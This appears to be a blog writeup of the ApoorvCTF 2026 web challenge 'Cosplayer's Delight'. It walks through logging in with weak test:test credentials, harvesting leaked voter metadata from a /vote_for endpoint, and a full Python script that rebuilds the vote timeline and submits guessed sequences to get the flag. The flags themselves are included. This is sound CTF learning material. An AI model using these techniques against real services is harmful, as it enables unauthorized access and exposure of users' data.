585 words
3 minutes
ApoorvCTF 2026 - Cosplayer's Delight - Web Exploitation Writeup

Category: Web Exploitation Flag: apoorvctf{gr4Ph_l34k5_r3v34l_v1cT0r5_l45t_v0t35_7f2a9}

Challenge Description#

At ComicCon, you stumbled upon a shady popularity poll. Lot of players voted for who was the best cosplayer and a leaderboard was displayed. However, your an undercover agent after Target V, who is voting for other targets. You don’t know what his name is in the poll, however, you know that he and the other targets need to be found.

Analysis#

The app immediately looked like a FastAPI backend with a JavaScript frontend, so the first thing I did was inspect the client code and OpenAPI surface to map every endpoint without guessing. The front-end confirmed auth + voting flow (/login, /my_votes, /vote_for) and the OpenAPI spec exposed some intentionally suspicious endpoints like /flag, /admin, and /hidden_flag.

curl -s http://chals2.apoorvctf.xyz:80/openapi.json
...paths include /login, /leaderboard, /random_user, /vote_for, /my_votes, /flag, /admin, /hidden_flag...

Probing the obvious flag-looking routes gave fake or gating values, not the real flag. /admin and /hidden_flag returned a Rickroll-style decoy, and /flag returned a “not enough votes, need 5” message. That was the first troll moment.

tableflip

curl -s http://chals2.apoorvctf.xyz:80/admin
{"flag":"apoorvctf{n3v3r_g0nn4_g1v3_y0u_up_dQw4w9}","note":"nothing sensitive to see here"}
curl -s http://chals2.apoorvctf.xyz:80/hidden_flag
{"flag":"apoorvctf{n3v3r_g0nn4_g1v3_y0u_up_dQw4w9}"}
curl -s "http://chals2.apoorvctf.xyz:80/flag"
{"flag":"apoorvctf{n07_3n0ugh_v0735_n33d_5_44ab}"}

The HTML source had a loud hint about user test having a weak password, and test:test worked. Registration was closed, so this demo account was clearly the intended foothold.

curl -s -X POST http://chals2.apoorvctf.xyz:80/login -H 'Content-Type: application/json' -d '{"username":"test","password":"test"}'
{"access_token":"<JWT_TOKEN>","token_type":"bearer"}

With a valid bearer token, the key bug appeared in /vote_for: when voting for a target already voted, the API still returned leaked metadata in recent_voters (voter, target, timestamp). That turned this into a graph reconstruction problem rather than brute force.

curl -s -X POST http://chals2.apoorvctf.xyz:80/vote_for -H "Authorization: Bearer <JWT_TOKEN>" -H 'Content-Type: application/json' -d '{"target":"alice"}'
{"message":"already voted","target":"alice","voter_count":16,"recent_voters":[{"voter":"alice","target":"alice","timestamp":"2026-03-07T19:10:20.595027Z"}, ...]}

At that point, the challenge description clicked: “Target V” almost certainly meant a user whose name starts with V, and the leak gave timestamped voting edges. I wrote a solver script that used test’s token to pull /my_votes, re-hit each voted target through /vote_for to collect recent_voters, reconstructed per-voter target timelines, and tested candidate 5-item sequences against /flag?votes=... while filtering known gate/decoy outputs.

python /home/rei/Downloads/cosplayer_sequence_solver.py
[*] targets from my_votes: 103
...
[020] slice:victor:earliest5         -> apoorvctf{r473_l1m17_h17_5l0w_d0wn_b01_3c9a}
[021] slice:victor:latest5           -> apoorvctf{gr4Ph_l34k5_r3v34l_v1cT0r5_l45t_v0t35_7f2a9}
[+] REAL FLAG: apoorvctf{gr4Ph_l34k5_r3v34l_v1cT0r5_l45t_v0t35_7f2a9}
[+] SEQ (slice:victor:latest5): ['emilysys', 'devon.', 'judy', 'dave', 'alice']

Once the sequence was derived from leaked graph data instead of random guessing, it popped immediately.

wink

Solution#

# cosplayer_sequence_solver.py
import re
import time
from collections import defaultdict
from datetime import datetime

import requests

BASE = "http://chals2.apoorvctf.xyz:80"
TOKEN = "<JWT_TOKEN_FROM_test:test_LOGIN>"

THRESHOLD = "apoorvctf{n07_3n0ugh_v0735_n33d_5_44ab}"
TOO_MANY = "apoorvctf{70o_m4ny_v0735_5ubm1773d_91c2}"
WRONG_SEQ = "apoorvctf{wr0ng_v073_53qu3nc3_1b7d}"
RATE_LIMIT = "apoorvctf{r473_l1m17_h17_5l0w_d0wn_b01_3c9a}"
DECOY = "apoorvctf{n3v3r_g0nn4_g1v3_y0u_up_dQw4w9}"
KNOWN_BAD = {THRESHOLD, TOO_MANY, WRONG_SEQ, RATE_LIMIT, DECOY}
FLAG_RE = re.compile(r"[A-Za-z0-9_]+\{[^}]+\}")


def ptime(ts: str) -> datetime:
    if ts.endswith("Z"):
        ts = ts[:-1] + "+00:00"
    return datetime.fromisoformat(ts)


def extract_flag(text: str):
    m = FLAG_RE.search(text)
    return m.group(0) if m else None


def call_flag(sess: requests.Session, seq):
    params = [("votes", x) for x in seq]
    r = sess.get(f"{BASE}/flag", params=params, timeout=20)
    f = extract_flag(r.text)
    if f == RATE_LIMIT:
        time.sleep(1.2)
        r = sess.get(f"{BASE}/flag", params=params, timeout=20)
        f = extract_flag(r.text)
    return f


s = requests.Session()
s.headers.update({"Authorization": f"Bearer {TOKEN}"})

targets = sorted({x["target"] for x in s.get(f"{BASE}/my_votes", timeout=20).json()})

voter_events = defaultdict(list)
for target in targets:
    data = s.post(f"{BASE}/vote_for", json={"target": target}, timeout=20).json()
    for row in data.get("recent_voters", []):
        voter = row.get("voter")
        vt = row.get("target")
        ts = row.get("timestamp")
        if voter and vt and ts:
            voter_events[voter].append((ts, vt))

victor_map = {}
for ts, vt in voter_events["victor"]:
    dt = ptime(ts)
    if vt not in victor_map or dt > victor_map[vt]:
        victor_map[vt] = dt

ordered = [t for t, _ in sorted(victor_map.items(), key=lambda kv: kv[1])]
seq = ordered[-5:]  # ['emilysys', 'devon.', 'judy', 'dave', 'alice']

flag = call_flag(s, seq)
if flag and flag not in KNOWN_BAD:
    print(flag)
python cosplayer_sequence_solver.py
apoorvctf{gr4Ph_l34k5_r3v34l_v1cT0r5_l45t_v0t35_7f2a9}
ApoorvCTF 2026 - Cosplayer's Delight - Web Exploitation Writeup
https://blog.rei.my.id/posts/114/apoorvctf-2026-cosplayer-s-delight-web-exploitation-writeup/
Author
Reidho Satria
Published at
2026-03-10
License
CC BY-NC-SA 4.0